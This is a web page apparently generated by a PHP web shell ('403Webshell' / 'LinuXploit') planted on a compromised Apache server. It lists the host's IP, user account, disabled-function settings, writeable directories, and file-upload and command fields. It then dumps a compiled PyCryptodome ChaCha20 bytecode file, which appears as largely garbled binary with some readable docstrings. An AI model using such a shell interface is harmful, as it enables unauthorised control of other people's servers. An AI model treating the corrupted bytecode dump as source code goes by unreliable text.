403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/Cryptodome/Cipher/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/Cryptodome/Cipher/__pycache__/ChaCha20.cpython-311.pyc
�

8�tc*���ddlmZddlmZddlmZmZmZmZm	Z	m
Z
mZmZm
Z
edd��Zd�ZGd�de��Zd	�Zd
�ZdZdZd
S)�)�get_random_bytes)�_copy_bytes)	�load_pycryptodome_raw_lib�create_string_buffer�get_raw_buffer�VoidPointer�SmartPointer�c_size_t�c_uint8_ptr�c_ulong�is_writeable_bufferzCryptodome.Cipher._chacha20a�
                    int chacha20_init(void **pState,
                                      const uint8_t *key,
                                      size_t keySize,
                                      const uint8_t *nonce,
                                      size_t nonceSize);

                    int chacha20_destroy(void *state);

                    int chacha20_encrypt(void *state,
                                         const uint8_t in[],
                                         uint8_t out[],
                                         size_t len);

                    int chacha20_seek(void *state,
                                      unsigned long block_high,
                                      unsigned long block_low,
                                      unsigned offset);
                    int hchacha20(  const uint8_t key[32],
                                    const uint8_t nonce16[16],
                                    uint8_t subkey[32]);
                    c�&�t|��dksJ�t|��dksJ�td��}t�t	|��t	|��t	|����}|rtd|z���|S)N� �z,Error %d when deriving subkey with HChaCha20)�len�	bytearray�_raw_chacha20_lib�	hchacha20r�
ValueError)�key�nonce�subkey�results    �</usr/lib/python3/dist-packages/Cryptodome/Cipher/ChaCha20.py�
_HChaCha20rBs����s�8�8�r�>�>�>�>��u�:�:������
�r�]�]�F�
�
(�
(��C� � ��E�"�"��F�#�#�%�%�F��R��G�&�P�Q�Q�Q��M�c�8�eZdZdZdZd�Zd	d�Zd�Zd	d�Zd�Z	dS)
�ChaCha20Cipherz�ChaCha20 (or XChaCha20) cipher object.
    Do not create it directly. Use :py:func:`new` instead.

    :var nonce: The nonce with length 8, 12 or 24 bytes
    :vartype nonce: bytes
    �c��tdd|��|_t|��dkr-t||dd���}d|dd�z}d|_nd|_|j}|j|jf|_t��|_	t�|j	���t|��tt|����|tt|������}|rtd||jfz���t!|j	���tj��|_	dS)z\Initialize a ChaCha20/XChaCha20 cipher object

        See also `new()` at the module level.N�r��	XChaCha20�ChaCha20z"Error %d instantiating a %s cipher)rrrr�_name�encrypt�decrypt�_nextr�_stater�
chacha20_init�
address_ofrr
rr	�get�chacha20_destroy)�selfrrrs    r�__init__zChaCha20Cipher.__init__\s=��
!��t�U�3�3��
��u�:�:�����S�%����*�-�-�C��%����*�,�E�$�D�J�J�#�D�J��J�E��|�T�\�3��
�!�m�m���"�0�0���.�.�0�0�#�C�(�(� ��S���*�*�� ��U���,�,�.�.���	R��A�V�EI�Z�EQ�Q�R�R�
R�"�4�;�?�?�#4�#4�#4�#E�G�G����rNc��|j|jvrtd���|jf|_|�||��S)a�Encrypt a piece of data.

        Args:
          plaintext(bytes/bytearray/memoryview): The data to encrypt, of any size.
        Keyword Args:
          output(bytes/bytearray/memoryview): The location where the ciphertext
            is written to. If ``None``, the ciphertext is returned.
        Returns:
          If ``output`` is ``None``, the ciphertext is returned as ``bytes``.
          Otherwise, ``None``.
        z-Cipher object can only be used for decryption)r&r(�	TypeError�_encrypt)r.�	plaintext�outputs   rr&zChaCha20Cipher.encrypt|sB���<�t�z�)�)��K�L�L�L��|�&��
��}�}�Y��/�/�/rc
�*�|�tt|����}n_|}t|��std���t|��t|��krt	dt|��z���t
�|j���t|��t|��tt|������}|rt	d||jfz���|�t|��SdS)zEncrypt without FSM checksNz4output must be a bytearray or a writeable memoryviewz9output must have the same length as the input  (%d bytes)z!Error %d while encrypting with %s)
rrr
r1rr�chacha20_encryptr)r,rr
r%r)r.r3r4�
ciphertextrs     rr2zChaCha20Cipher._encrypt�s���>�-�c�)�n�n�=�=�J�J��J�&�v�.�.�
X�� V�W�W�W��9�~�~��V���,�,� �"0�25�i�.�.�"A�B�B�B�#�3�3�)-����):�):�)4�Y�)?�)?�)4�Z�)@�)@�)1�#�i�.�.�)A�)A�	C�C��
�	Y��@�F�D�J�CW�W�X�X�X��>�!�*�-�-�-��4rc��|j|jvrtd���|jf|_	|�||��S#t$r5}t	t|���dd�����d}~wwxYw)a�Decrypt a piece of data.

        Args:
          ciphertext(bytes/bytearray/memoryview): The data to decrypt, of any size.
        Keyword Args:
          output(bytes/bytearray/memoryview): The location where the plaintext
            is written to. If ``None``, the plaintext is returned.
        Returns:
          If ``output`` is ``None``, the plaintext is returned as ``bytes``.
          Otherwise, ``None``.
        z-Cipher object can only be used for encryption�enc�decN)r'r(r1r2r�str�replace)r.r7r4�es    rr'zChaCha20Cipher.decrypt�s����<�t�z�)�)��K�L�L�L��|�&��
�	;��=�=��V�4�4�4���	;�	;�	;��S��V�V�^�^�E�5�9�9�:�:�:�����	;���s�A�
B�0A<�<Bc��t|d��\}}|dz}|dz	}t�|j���t|��t|��|��}|rt
d||jfz���dS)z�Seek to a certain position in the key stream.

        Args:
          position (integer):
            The absolute position within the key stream, in bytes.
        �@l��rzError %d while seeking with %sN)�divmodr�
chacha20_seekr)r,rrr%)r.�position�offset�	block_low�
block_highrs      r�seekzChaCha20Cipher.seek�s���"�(�B�/�/���&��z�)�	���^�
�"�0�0�15����1B�1B�18��1D�1D�18��1C�1C�17�	3�3���	V��=����@T�T�U�U�U�	V�	Vr)N)
�__name__�
__module__�__qualname__�__doc__�
block_sizer/r&r2r'rF�rrrrRs����������J�G�G�G�@0�0�0�0�$���8;�;�;�;�,V�V�V�V�Vrrc�\�t|��dkrtd���|�td��x}}n>t|��dkrd|z}n%t|��dkr|}ntd���t||����d	��}|dd
�|d
d�|fS)zrDerive a tuple (r, s, nonce) for a Poly1305 MAC.

    If nonce is ``None``, a new 12-byte nonce is generated.
    rz-Poly1305 with ChaCha20 requires a 32-byte keyN��r"z6Poly1305 with ChaCha20 requires an 8- or 12-byte nonce)rrs r)rrr�newr&)rr�padded_nonce�rss    r�_derive_Poly1305_key_pairrS�s����3�x�x�2�~�~��H�I�I�I��}�/��3�3�3��u�u�	�U���q���+�U�2���	�U���r�	�	�����Q�R�R�R�	��L�	)�	)�	)�	1�	1�,�	?�	?�B�
�c�r�c�7�B�r�s�s�G�U�"�"rc��	|�d��}n$#t$r}td|z���d}~wwxYw|�dd��}|�td��}t	|��dkrtd���t	|��dvrtd	���|rtd
t
|��z���t||��S)a�Create a new ChaCha20 or XChaCha20 cipher

    Keyword Args:
        key (bytes/bytearray/memoryview): The secret key to use.
            It must be 32 bytes long.
        nonce (bytes/bytearray/memoryview): A mandatory value that
            must never be reused for any other encryption
            done with this key.

            For ChaCha20, it must be 8 or 12 bytes long.

            For XChaCha20, it must be 24 bytes long.

            If not provided, 8 bytes will be randomly generated
            (you can find them back in the ``nonce`` attribute).

    :Return: a :class:`Cryptodome.Cipher.ChaCha20.ChaCha20Cipher` object
    rzMissing parameter %sNrrOrz,ChaCha20/XChaCha20 key must be 32 bytes long)rOrNr!z:Nonce must be 8/12 bytes(ChaCha20) or 24 bytes (XChaCha20)zUnknown parameters: )�pop�KeyErrorr1rrrr;r)�kwargsrr=rs    rrPrP�s���(4��j�j��������4�4�4��.��2�3�3�3�����4����
�J�J�w��%�%�E��}� ��#�#��
�3�x�x�2�~�~��G�H�H�H�
�5�z�z��$�$��U�V�V�V�
�>��.��V���<�=�=�=��#�u�%�%�%s��
9�4�9rrN)�Cryptodome.Randomr�Cryptodome.Util.py3compatr�Cryptodome.Util._raw_apirrrrr	r
rrr
rr�objectrrSrPrK�key_sizerLrr�<module>r]s1��>/�.�.�.�.�.�1�1�1�1�1�1�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�.�-�.K�����2
�
�
� AV�AV�AV�AV�AV�V�AV�AV�AV�H#�#�#�:&&�&&�&&�R�
����r

Youez - 2016 - github.com/yon3zu
LinuXploit